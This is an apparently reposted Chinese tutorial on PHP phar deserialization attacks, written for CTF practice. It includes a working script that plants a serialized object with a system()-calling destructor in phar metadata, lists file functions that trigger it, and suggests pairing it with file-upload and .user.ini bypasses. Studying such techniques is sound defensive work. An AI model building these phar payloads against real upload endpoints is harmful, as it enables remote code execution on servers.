一:什么是phar
phar是PHP提供的一类文件的后缀名称,也是PHP伪协议的一种
1.一种协议后缀
2.一种协议名称
二:phar作用
1.将多个php文件合并成为一个独立的压缩包,相对独立
2.不用解压到硬盘即可运行PHP脚本
3.支持web服务器和命令运行
三:基于phar反序列化
<?php include 'phar://com.ctf.flie.phar/file.php'; //可以用phar代替file伪协议协议进行包含
(1)这个有什么用呢,这么进行反序列化呢?
需要把本地phar只读关闭,是为了在本地生成phar文件,不需要服务器那边关闭,
服务器只要可以读取就行
需要在PHPstudy,配置文件里面把这个位置改成的on改成off,并删掉前面的分号
phar文件结构
//标志位stub:phar //manifest:phar(压缩文件) //content(压缩内容) //signature(签名,为了保障内容不被篡改)
在PHP说明里面可以看到,通过mata-data储存的数据会被序列化保存,也就暗示了这里会在读取的时候进行反序列化操作(不需要链接魔术方法,是一种隐形的反序列化,会自动调用反序列化方法,但是没有反序列化链子就不行了)
(2)如何写phar文件
1.写法
<?php class ctf{ public $name; public function __destruct(){ system($this->name); } } $c = new ctf(); $c->name = "calc"; $phar =new phar("testphar.phar");//生成一个新的phar类,但要注意这里的文问名必须要以phar为后缀 $phar->startBuffering();//开启缓存区 //**然后需要放入phar的四个部分这样才是完整的phar包 //如下 //标志位stub:phar //manifest:phar(压缩文件) //content(压缩内容) //signature(签名,为了保障内容不被篡改) $phar->setstub("<?php __HALT_COMPILER();?>");//这个函数是中断编译器执行的 //作用是如果包含phar文件,但不继续执行PHP代码,也是为了安全问题考虑 $phar->setMetadata($c);//通过metadata的数据会被序列化保存 $phar->addFromString("testphar.txt","test"); //这里方法就是从字符串里增加的意思,前面还是名字后面是内容 $phar->stopbuffering();//停止缓冲区 //停止后会自动附加上签名,这样结构就完整了
2.执行后生成我们的phar文件
内容是一个__halt_compiler函数和我们的序列化后的恶意代码
前者是为了防止后面出现PHP代码被执行而造成的安全问题
后者是我们的序列化代码,在反序列化后可以绕过它的中断函数
3.使用方法
<?php class ctf{ public $name; public function __destruct(){ system($this->name); } } //1.有包含的情况 // include "phar://testphar.phar"; //在包含这个phar文件的时候会自动调用反序列化,即使没有触发反序列化方法, //但是如果本来就没有反序列化方法,那也是无法调用反序列化的 //2.无包含的情况 //(1) // file_exists("phar://testphar.phar"); //file_exists函数也支持phar协议,可以执行phar文件 //file_exists — 检查文件或目录是否存在, //如果由 filename 指定的文件或目录存在则返回 TRUE,否则返回 FALSE //(2) //file_get_contents("phar://testphar.phar"); //在file_get_contents函数读取phar文件时phar文件也会自动调用反序列化方法 //file_get_contents() 函数是用来将文件的内容读入到一个字符串中的首选方法。 //如果操作系统支持还会使用内存映射技术来增强性能。 //(3) //highlight_file("phar://testphar.phar"); //在highlight_file寻找了这个phar文件后,phar文件也会自动调用反序列化方法 //highlight_file — 语法高亮一个文件 //使用PHP内置的语法高亮器所定义的颜色,打印输出或者返回 filename 文件中语法高亮版本的代码。 //重点:只要参数是fileName的都可以触发phar文件 //补充 //配合文件上传使用,在.user.ini里面包含phar协议(phar://filename.phar)同样可以执行反序列化 //利用条件 //1.可以上传phar包 //2.有反序列化利用链 // //在做文件上传的时候先考虑上传PHP文件,可以先尝试双写绕过等绕过姿势,如果不行就考虑上传phar文件
原文地址:http://www.cnblogs.com/xxpanda/p/16852262.html
1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长!
2. 分享目的仅供大家学习和交流,请务用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
5. 如有链接无法下载、失效或广告,请联系管理员处理!
6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需!
7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员!
8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载
声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性